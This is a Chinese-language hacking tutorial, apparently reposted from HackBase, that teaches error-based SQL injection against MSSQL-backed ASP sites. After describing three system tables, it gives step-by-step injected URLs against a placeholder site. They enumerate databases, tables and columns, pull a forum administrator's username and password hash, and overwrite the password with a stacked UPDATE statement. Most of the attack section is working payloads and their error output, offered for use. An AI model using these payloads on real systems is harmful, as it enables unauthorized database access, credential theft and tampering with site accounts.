一、分析MSSQL三個(gè)關(guān)鍵系統(tǒng)表.
sysdatabases
MSSQL中對(duì)sysdatabases系統(tǒng)表 的說(shuō)明:
Microsoft SQL Server 上的每個(gè)數(shù)據(jù)庫(kù)在表中占一行。最初安裝 SQL Server 時(shí),sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 數(shù)據(jù)庫(kù)的項(xiàng)。該表只存儲(chǔ)在 master 數(shù)據(jù)庫(kù)中。
這個(gè)表保存在master數(shù)據(jù)庫(kù)中,這個(gè)表中保存的是什么信息呢?這個(gè)非常重要。他是
保存了,所有的庫(kù)名,以及庫(kù)的ID,和一些相關(guān)信息。
這里我把對(duì)于我們有用的字段名稱(chēng)和相關(guān)說(shuō)明給大家列出來(lái).看好咯!
name dbid
//表示庫(kù)的名字. //表示庫(kù)的ID.
dbid從1到5是系統(tǒng)的。分別是:master、model、msdb、mssqlweb、tempdb 這五個(gè)庫(kù).
我們利用SQL語(yǔ)句:select * from master.dbo.sysdatabases 就可以查詢出所有的庫(kù)名.
sysobjects
MSSQL中對(duì)sysobjects系統(tǒng)表的說(shuō)明:
在數(shù)據(jù)庫(kù)內(nèi)創(chuàng)建的每個(gè)對(duì)象(約束、默認(rèn)值、日志、規(guī)則、存儲(chǔ)過(guò)程等)在表中占一行。只有在 tempdb 內(nèi),每個(gè)臨時(shí)對(duì)象才在該表中占一行。
這個(gè)是列出數(shù)據(jù)庫(kù)對(duì)象的系統(tǒng)表。當(dāng)然數(shù)據(jù)庫(kù)表名也在里面的.
這里我就為大家列出一些對(duì)我們有用的字段名稱(chēng)和相關(guān)說(shuō)明.
name id xtype uid
對(duì)象名. 對(duì)象ID 對(duì)象類(lèi)型 所有者對(duì)象的用戶ID。
對(duì)象類(lèi)型(xtype)。可以是下列對(duì)象類(lèi)型中的一種:
C = CHECK 約束
D = 默認(rèn)值或 DEFAULT 約束
F = FOREIGN KEY 約束
L = 日志
FN = 標(biāo)量函數(shù)
IF = 內(nèi)嵌表函數(shù)
P = 存儲(chǔ)過(guò)程
PK = PRIMARY KEY 約束(類(lèi)型是 K)
RF = 復(fù)制篩選存儲(chǔ)過(guò)程
S = 系統(tǒng)表
TF = 表函數(shù)
TR = 觸發(fā)器
U = 用戶表
UQ = UNIQUE 約束(類(lèi)型是 K)
V = 視圖
X = 擴(kuò)展存儲(chǔ)過(guò)程
當(dāng)然我們這里只用得到xtype='U'的值。當(dāng)?shù)扔赨的時(shí)候,對(duì)象名就是表名,對(duì)象ID就是表的ID值.
我們利用SQL語(yǔ)句: select * from ChouYFD.dbo.sysobjects where xtype='U' 這樣就可以列出庫(kù)名稱(chēng)是:ChouYFD中所有的表名.
syscolumns
SQL中syscolumns系統(tǒng)表的說(shuō)明:
每個(gè)表和視圖中的每列在表中占一行,存儲(chǔ)過(guò)程中的每個(gè)參數(shù)在表中也占一行。該表位于每個(gè)數(shù)據(jù)庫(kù)中。
這個(gè)就是列出一個(gè)表中所有的字段列表的系統(tǒng)表。
這里我就為大家列出一些對(duì)我們有用的字段名稱(chēng)和相關(guān)說(shuō)明:
name id colid
//字段名稱(chēng) //表ID號(hào). 字段ID號(hào).
其中的 ID 是 剛上我們用sysobjects得到的表的ID號(hào).
我們利用SQL語(yǔ)句: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD這個(gè)庫(kù)中,表的ID是123456789中的所有字段列表.
YES SIR 明白!GO GO GO !!!
好了,簡(jiǎn)單的介紹了一下這個(gè)用法.大家如果有不了解的,請(qǐng)查看SQL相關(guān)說(shuō)明.
二、靈活利用系統(tǒng)表
同志們,玩過(guò)CS游戲的舉手,呵呵,都玩過(guò)啊。好!我們今天也要來(lái)爆一下"頭".
GO GO GO !!!
不過(guò)我們現(xiàn)在爆的是庫(kù)名,表名,字段名,我們用不著去猜庫(kù)名,表名,字段名.
說(shuō)一下怎么爆出相關(guān)的庫(kù)名,表名,字段名.
當(dāng)兩個(gè)類(lèi)型值不一樣的時(shí)候,將他們做比較,SQL系統(tǒng)會(huì)提示出錯(cuò)。并且會(huì)顯示出類(lèi)型的值. 如:’aaa’>100 這樣比較,也就是字符串和數(shù)字的比較,這個(gè)怎么比較嘛,系統(tǒng)當(dāng)然會(huì)提示出錯(cuò)啦!大家都知道只有相同類(lèi)型的時(shí)候才可以進(jìn)行運(yùn)算.所以這里我們就來(lái)一個(gè)反方向的不相同類(lèi)型比較,爆出他的值.
下面就讓我們來(lái)測(cè)試吧!!!準(zhǔn)備好沒(méi)有?GO!
任務(wù)一:得到所有庫(kù)名.
http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
因?yàn)?dbid 的值從1到5,是系統(tǒng)用了。所以用戶自己建的一定是從6開(kāi)始的。并且我們提交了 name>1 NAME字段是一個(gè)字符型的字段和數(shù)字比較會(huì)出錯(cuò).那我們提交看一下IE返回了什么?
IE返回.
Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 '80040e07'
將 nvarchar 值 'Northwind' 轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。
/jump.asp,行33
GOOD!!!這樣就把NAME字段的值爆露出來(lái)了: Northwind. 也就是我們得到了一個(gè)庫(kù)名.
改變DBID的值.我們可以得出所有的庫(kù)名.當(dāng)DBID等于10,11的時(shí)候,爆出了兩個(gè)論壇的庫(kù)名.分別為:
bbs2002
bbs
呵呵,論壇的庫(kù)名出來(lái)啦!!!那我們就不客氣了。就找BBS這個(gè)庫(kù)吧!
任務(wù)二:得到bbs這個(gè)庫(kù)中所有的表名.
先來(lái)第一句:
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U')
查詢的SQL語(yǔ)句,返回的是NAME的值然后和數(shù)字0比較,這樣就會(huì)爆露出NAME的值.
好我們提交吧,只聽(tīng)到砰的一聲!一個(gè)表名(name的值)出來(lái)了。名叫:Address.
// 這里多說(shuō)兩句話,如果你提交的時(shí)候,他說(shuō)你沒(méi)有權(quán)限,就說(shuō)明,這兩個(gè)庫(kù)的SQL賬
//號(hào)的權(quán)限不一樣,那就放棄吧。你沒(méi)有資格進(jìn)行下去. 老兄放棄吧!等他更新賬號(hào)權(quán)
//的時(shí)候,我第一時(shí)間通知你!一定要相信我臭要飯的!話.
好,再來(lái)接著爆其他的表.
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
又出來(lái)一個(gè)表名,名叫:admin
依次提交 ... and name not in('address','admin',..)) 可以查出所有的表名.
好,現(xiàn)在我們得到了ADMIN這個(gè)表,大家都清楚了這個(gè)表是做什么的吧!!我們的目的就是要得到這個(gè)表中賬號(hào)字段和密碼字段的值。
下面就是要得到這個(gè)表中的所有字段名了咧! 怎么得到字段名呢?系統(tǒng)表: syscolumns
中有用字段為: name、 id、colid 其中ID是保存著表的ID。也就是說(shuō)我們要得到表的ID號(hào)然后,用SELECT * from bbs.dbo.syscolumns where id=bbs表的ID 這樣才能列出BBS這個(gè)表中所有的字段. 說(shuō)了半天,哎,說(shuō)不清楚了。看我表演吧!
http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
//把ID值轉(zhuǎn)成字符型后再和一個(gè)整型值比較。我KAO。經(jīng)典吧,呵呵,這也想得出來(lái)。
又聽(tīng)到砰的一聲!ID號(hào)出來(lái)了。值為:773577794
OK.GOOD!! 進(jìn)入下關(guān)吧。
任務(wù)三:得到ADMIN這個(gè)表中的所有字段列表:
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794)
又是把NAME和數(shù)字比較.
IE 返回:adduser 呵呵,來(lái)來(lái)來(lái)。
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser'))
又返回一個(gè)字段名:flag
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser','flag'))
好當(dāng)提交到:
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns
where id=773577794 and name not in('adduser','flag','id','lastlogin','lastloginip','password','username'))
IE返回:BOF 或 EOF 中有一個(gè)是"真",或者當(dāng)前的記錄已被刪除,所需的操作要求一個(gè)當(dāng)前的記錄。
說(shuō)明,我們已經(jīng)猜完了。呵呵,看到了吧。
把BBS庫(kù)中的ADMIN表中的所有字段列出來(lái)了。
分別如下:
adduser,adduser,flag,id,lastlogin,lastloginip,password,username
看了一下,很像動(dòng)網(wǎng)的論壇。
任務(wù)四:查詢字段值.
來(lái)。我們看看username和password的值吧。
http://www.AAA.com/jump.asp?id=3400 and 0<(select id from BBS.dbo.admin where username>1)
賬號(hào)出來(lái)了:youbiao
http://www.AAA.com/jump.asp?id=3400 and 0<(select id from BBS.dbo.admin where password>1 and username='youbiao')
密碼又出來(lái)了:d6b2f32a47b8bcb5 我的天MD5的!不怕,呵呵~!!!
來(lái)。改一下他的密碼:
http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='AAABBBCCCDDDEEEF' where username='youbiao';--
呵呵,試試。成功了。我們?cè)賮?lái)給他改回來(lái).
http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='d6b2f32a47b8bcb5' where username='youbiao';--
又改回來(lái)咯!!!呵~!
通過(guò)提交UPDATE語(yǔ)句就可以直接把密碼給他更改了。
轉(zhuǎn)自:作者:YTT 來(lái)源:http://www.HackBase.com